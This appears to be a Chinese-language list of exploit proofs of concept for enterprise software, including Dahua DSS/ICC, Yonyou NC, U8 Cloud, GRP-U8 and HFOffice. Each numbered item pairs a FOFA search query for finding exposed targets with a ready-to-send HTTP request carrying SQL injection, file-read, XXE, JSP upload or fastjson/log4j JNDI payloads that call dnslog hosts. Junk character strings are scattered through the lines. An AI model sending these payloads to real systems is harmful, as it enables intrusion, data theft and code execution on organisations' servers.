) e! z5 u, }$ F  D, V% JGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
3 N' E4 V$ {2 V: q6 GHost: 192.168.40.130:100
/ P0 {: i- y( P2 ]. s7 P4 r% BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
  \1 L* D- H$ G: h1 q0 |% OConnection: close
& |8 b8 q! p2 r  u' [1 a) h9 aAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
+ X) P1 N/ s  C: E8 K' j4 a- YAccept-Language: en
3 h) s% f3 D& @+ U) jsec-ch-ua-platform: Windows
Accept-Encoding: gzip

7 A+ n) ]9 U6 V( c1 A8 o4 P5 ?  ]
16.  红帆HFOffice医微云SQL注入
0 m$ p5 {( B, d( k& N+ EFOFA：title="HFOffice"
$ x" C7 e% t1 `9 \! \7 `( B2 J* H( lpoc中调用函数计算1234的md5值
/ y8 K% {0 w1 w* p2 yGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
' M4 u2 S4 W) A! ^POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip
$ T; C0 B- z0 R9 Z6 m
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
3 T, O2 _) `. a- z+ O. a<s11:Body>
; q. Q9 O7 Q% ~2 a; Y- k    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
) {( t" K/ v6 ?5 k      </netMarkings>
" C* W, B1 d3 m$ c0 |    </ns1:deleteBulletin>
  </s11:Body>
3 u( ^, T; r) f1 n/ a- |' W</s11:Envelope>

6 M( v1 j) l9 Y% d7 ~
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
/ r7 Q0 l5 {' O% {% U7 D$ gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 A, n# j. x5 C2 XAccept-Encoding: gzip, deflate
Accept: */*
: E$ {5 F" v$ b3 L  HConnection: keep-alive
' J6 m2 B) M( m! A2 G* w


; p1 q* C! k: O& d  `5 t0 }19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
2 m+ n- m6 i$ n# ]% r# S9 P/ qFOFA：app="dahua-DSS"
. c( t- V3 N0 M9 ^, B6 k+ DGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
( V/ B8 \2 I% t6 X1 B# eHost:
- S* }) L6 R; n! E+ V% l) LUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
. {" @% L4 M. i2 `! `8 P, xAccept-Encoding: gzip, deflate
* n7 R. o8 l* h3 bAccept: */*
: D* ]9 t7 o/ k) RConnection: keep-alive
! ]; ^' r. [/ g3 a  T% \+ B

+ }0 Z. v; ]- f. m20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
# @  P' I  w8 K! IGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
3 c0 x+ s: y# A. m  @! m* iHost: x.x.x.x
* k# H0 F6 e- X% z1 J: l7 k- _User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
# ~+ c& Z0 J5 \% ~! X; |Accept: */*
& h- r1 T% J- ~4 BAccept-Language: en
* ]2 F0 b6 G4 r! J6 ^0 ZAccept-Encoding: gzip
) F# Z, H; l2 H8 C% Y

2 F% w2 f7 ^* S1 N9 i+ V" k21. 大华ICC智能物联综合管理平台random远程代码执行
3 N; z! _% I( [( s7 y2 r5 LFOFA：icon_hash="-1935899595"
4 }! q1 c$ e, H( C) jPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
* ^; p$ ]5 ]4 t7 }( q0 |/ \Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
: J5 T7 W! m# M  N  V' {Connection: close
  `, P0 e; _( t4 z+ u! i/ FContent-Type: application/json;charset=utf-8
; G' `5 I. T* a; G  ^- Z
{
"a":{
9 g1 I5 Z: M/ ~  `   "@type":"com.alibaba.fastjson.JSONObject",
5 g7 R6 E8 N2 X$ W# l) |$ B7 [6 B    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
6 [' v* r) U. C! ]& Z4 R% [, R

22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
  ]6 x# v1 X8 GPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
9 K7 U: h4 r. L' v3 s/ F0 z  sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

- @1 Z8 ^$ S6 C. ?* B: B{
7 B1 T0 H0 R: ?, P"loginName":"${jndi:ldap://dnslog}"
}

! l( l% q! W5 S- y+ u" Q1 h

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
5 p5 Z! J9 m1 q; q& t) Z0 qHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; M7 Y3 j. s2 BContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

* A# Y' I$ x6 ^" U5 `$ A4 Y{
* N8 \2 ]3 [7 k. M    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
( O0 M1 o/ A( L% L* C# ]0 R; E        }""
}

  U% e5 Q' X. R, ]3 i! C8 M1 g4 L0 E
4 H6 L; f% g* x1 m0 T3 @, n24. 用友NC 6.5 accept.jsp任意文件上传
# l# o6 w/ C2 R' qFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
; P  ^  z4 b- k/ g/ x$ R" ZConnection: close
Content-Length: 449
& G* H/ q6 F+ n3 zAccept: */*
4 b9 x3 Z/ G- Q. k9 |+ dAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
- d1 D% q  `% |/ P2 f  M
2 j' J* g% a! I5 s+ t" `% v-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
; x1 B0 |+ Y7 z) J( O* qContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
3 t8 e  _$ r( s8 u$ |2 d1 r
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
- Y8 y/ G  y* y- p+ V, c6 q$ X/ v-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
6 T# l% a9 F3 ^: F! D
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
( n' I) i; s" p0 R9 o. x

  ?# |4 T! k: n: X25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
7 b9 n( ]4 z& H/ {# D3 UHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
& `) f4 r- w" _- WAccept-Encoding: gzip, deflate
6 M3 K. _# H: M/ M0 o; zAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
1 X% ~( ~$ Y# w& t7 U' hContent-Type: application/x-www-form-urlencoded
2 Z/ F! F  f# _% [; r$ c
type=1&dsname=ldap://dnslog
( q% j( K8 l- @! ~( |


26. 用友NC linkVoucher SQL注入
/ u0 s0 C% z1 g6 E6 n; K* Y& `FOFA：app="用友-UFIDA-NC"
# w' h8 t, w" a% e4 z# L6 VGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
7 N4 _# P- v7 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 N) w9 E$ ]" o# L$ R, n  O5 cAccept-Encoding: gzip, deflate
Accept: */*
4 Q% C' |9 x7 h/ c( m' u, }Connection: keep-alive
5 K! k9 w2 c) F' q- s: @

$ X. q  A/ a4 S. C5 P3 U; t3 L27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
4 B4 a! W4 a. v; b, cHost: your-ip
8 K: W& z5 r4 G5 i+ ^8 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( o# X5 y7 c5 C7 T2 X; GAccept-Encoding: identity
Connection: close
) Y) E% r" \% ~7 B" `  i; z* gContent-Type: text/xml; charset=utf-8
/ O* a6 y. i( P+ R9 D

+ |. z3 v& L7 k/ I  i28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
; Q& a8 Z( _# ~0 F* fHost: x.x.x.x
) x& @0 I: w8 a* R) B0 g4 }& TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
# A- o) _! t- ~2 E. IConnection: close
4 H- N" w& w( n* G7 B, w: f* eContent-Length: 268
6 c, P4 `1 c: _  W7 AContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
& S' v/ |! E8 A* hAccept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
2 @) M1 ~4 J- r2 M% ?/ ^; y------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
5 n- o1 G, Y' B

/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
) o0 }4 s* _; y, D$ C) BGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
5 r: C/ O( O0 u# `Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
6 l5 v, m' w% C( ?0 [/ x8 Q' |" EAccept-Encoding: gzip, deflate
Accept: */*
+ G' j! c! ~7 s: yConnection: keep-alive
  o% G: Y% |4 c, {2 ^( R
8 `& B# r6 }, l7 X$ {
30. 用友NC importPml SQL注入
: d% |" C4 y! ~! v9 m3 qFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
' Z4 O( T5 X0 _9 D) GPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
. z8 y( D! }9 K7 f# ~! e, h# V8 i, vContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
5 a- [3 a3 t- R7 [! w/ [Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
% u. a" ?9 s2 X  A& P$ ]4 S- m4 oContent-Type: image/jpeg
' f8 m+ _. W; B4 a+ N------WebKitFormBoundaryH970hbttBhoCyj9V--
& u  |' s1 y: u5 O+ b) F
# L8 }: X) Q" q8 P" Z
" f+ i4 W. _% J( e" u31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
/ @  V3 v. H# Q8 E2 XHost: host
0 i1 F9 @! o8 \7 a9 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

; I- v9 ^  O  X/ @- |
5 u4 B+ y+ m' B5 t# d32. 用友NC complainbilldetail SQL注入
5 _4 ~, `7 A# H% e2 Gversion= NC633、NC65
2 R  T. a: I- y+ L" ]: k2 uFOFA：app="用友-UFIDA-NC"
0 ^; j- z- W, ]3 l& D# s5 T2 vGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
+ e8 s# \$ E0 A+ Z5 m+ k2 THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 N# K+ `) E9 g+ K# eContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
+ f4 }/ S  s4 ^; ?1 OAccept: */*
Connection: keep-alive

& g% K! p# h, L7 o
( |( R5 u% a0 \$ A33. 用友NC downTax/download SQL注入
9 g. \3 h% m! R. I% xversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
6 a! o( i& K4 d- a* S& R  W$ sHost: your-ip
$ @3 }- N8 U/ M2 s! ?0 w( B* FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 {0 O  E6 Y1 I% HContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
7 V; G& d( T. B- X& n0 I. mAccept: */*
$ b- E) ^( ~1 ?1 r3 Z2 wConnection: keep-alive

& U. Q. ~% H. X" P. I* K2 G
34. 用友NC warningDetailInfo接口SQL注入
( [) O- v0 p  T1 [- [FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
0 a+ c: w( @$ R, I9 \& o- ~/ qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& X: v( x* Y$ M7 r1 }. C, s) dContent-Type: application/x-www-form-urlencoded
& r4 R1 \# c  |( x! I' FAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
1 }/ d* `. q& H7 B! B  \Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
& a- Z* k8 C0 Y8 {$ iConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
7 {- h% ~4 I3 B; \
) Q4 q1 ?$ E, h( p/ `# N--fd28cb44e829ed1c197ec3bc71748df0
* n% @( z. S$ a. U& K# H5 UContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

% X0 _- B* l* a! ~1 Y, |1 x9 R" k, t" D<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


36. 用友NC-Cloud soapFormat XXE
4 \1 q2 t# ]! jFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
/ S! P1 A6 L: f8 z4 iHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
  X/ j% m2 v* W% ]4 v5 ~( kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. }6 c' a% O3 m7 `, F2 A; {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
1 @# D6 |! w/ h, j. q2 f' `# \Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
! n4 o7 [/ t" }0 {Host: 192.168.40.130:8989
8 U7 T! N, W8 E' c7 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
3 H$ y$ K/ b. C- \, _Content-Length: 421
7 e" D; o8 @$ X( I$ i8 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
; u# A3 @" b) S7 A" _' ^5 G0 XAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
/ a# c4 }7 g% g( r; o1 `Upgrade-Insecure-Requests: 1
& W  f9 y; Q- Y5 F' o+ C
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
: U) B+ [3 B8 O, B. i<iup:getResult>
<!--type: string-->
) P7 \& }6 F3 R- J0 i<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
  b: g& t+ C$ q5 [1 e: O8 t9 }+ u* F</soapenv:Body>
7 m" }; j6 a5 g' I) M</soapenv:Envelope>
/ w6 J- U' c$ B1 t

# B' x! `( W' d
3 n; R  K+ n, i2 X0 ?- N38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
$ ?  S8 m2 q& s0 ~Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
' z( l/ p- c) Q/ ^Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
) Z. b  S8 N4 s, SAccept-Encoding: gzip, deflate
; p3 b6 j$ z- e' [5 DAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
9 B$ k$ w1 _5 H$ p" f- o
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
  j3 Z# d; o: E" TFOFA：title="u8c"
! v6 d' H$ k/ {: v: k: RPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
9 G9 \! n: T6 g; c. N1 \5 o7 aConnection: close
# l5 U% N- L+ U$ NContent-Length: 85
. y' ]/ a# u( b# bAccept: */*
+ x' }1 R: ^6 F/ t: O" a0 S+ jAccept-Language: en
Content-Type: application/x-www-form-urlencoded
$ q( b% N+ S( U7 L; G; FX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
. X& g3 O* y4 e- A- m2 w& d1 Y
- C' z3 S9 O; y5 G- gusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

# j) }& t) s' @. j1 ^# C
$ J, o% {+ L5 w; d7 c40. 用友U8-Cloud XChangeServlet XXE
! `2 N2 K7 ]5 _1 LFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
8 W) y6 E' H+ |0 TUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
2 d/ h0 N  ]0 f$ u% n' `3 fContent-Type: text/xml
& y6 b4 u: P, m& f3 k: J4 }: NConnection: close
0 r  n! i9 _6 L6 o3 _7 ^
6 K/ b9 T6 g5 @6 w) Y! v<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
, Q. P$ F6 s7 @# @- Z& {2 n& i

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
% w7 t- L# b; {9 {/ f9 b7 zGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
9 _" V/ x9 b4 }. Q- LHost:
( {; o2 k9 s3 x, M) \. c, dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ z2 t, `  ~9 d, i; g: B1 ]Content-Type: application/json
Accept-Encoding: gzip
Connection: close


42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
0 _$ T  ]7 x, S1 Y4 w$ J) B: PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

4 o- h3 ^" g" |* d; q% D/ yPAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
! W" {' B+ x% ^; [1 P
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
6 e* e: {+ t$ X" AFOFA：app="用友-GRP-U8"
1 \& E0 L1 [+ u2 t* yPOST /services/userInfoWeb HTTP/1.1
0 r& b7 M5 F+ h& E. HHost: your-ip
! a& p4 y# ?* `. vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: M$ |7 e: \* _Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
2 H9 y$ _1 F9 c2 zContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
+ {. r$ a7 y% s6 k+ b         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
+ |5 C& U5 {0 e: \" o      </ser:getUserNameById>
   </soapenv:Body>
6 S! N1 ~  g- w$ `</soapenv:Envelope>
! g% b* m" [8 M! _2 a1 S& f
& s0 D( a# t1 {
6 C6 Q( {0 W( \/ }* I' E; v/ w4 A44. 用友GRP-U8 bx_dj_check.jsp SQL注入
$ l) A; L) U4 ^/ G% F7 FFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
) I4 ~$ H1 ^9 t4 Z5 b  ^. b: F. kHost: your-ip
' D) |$ K. g- E0 D) x8 x% rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
/ s' z  L2 g+ N5 n5 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* g4 t8 k# ?. M+ c  x! [4 h' WConnection: close
! t! o6 R! D. ]" }+ ?. Z
2 @1 E/ Z/ P8 `3 r" f8 u
1 F5 h8 V% \$ y/ |! B. [  A45. 用友GRP-U8 ufgovbank XXE
5 P8 z  o; O5 S! G) E# k4 hFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
8 s8 l3 ]6 F; o1 z- ?) p7 IHost: 192.168.40.130:222
, r7 }1 q2 o/ D+ sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
, J+ |$ X6 L) D0 F5 R7 J- fConnection: close
Content-Length: 161
/ R9 c" v1 J* \7 P" D, g, V& w  _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) m! `7 |6 |- }( sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
* G( N, d4 h5 K9 s9 d
  a) I) g+ w# ^+ A' m4 [6 greqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
, \/ `" @! ?: g3 U# w0 B
1 n7 s+ G6 Z) R8 F3 P3 x! t
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
" `& a6 N6 w' w4 ]  |- v) G( ^. SHost: your-ip
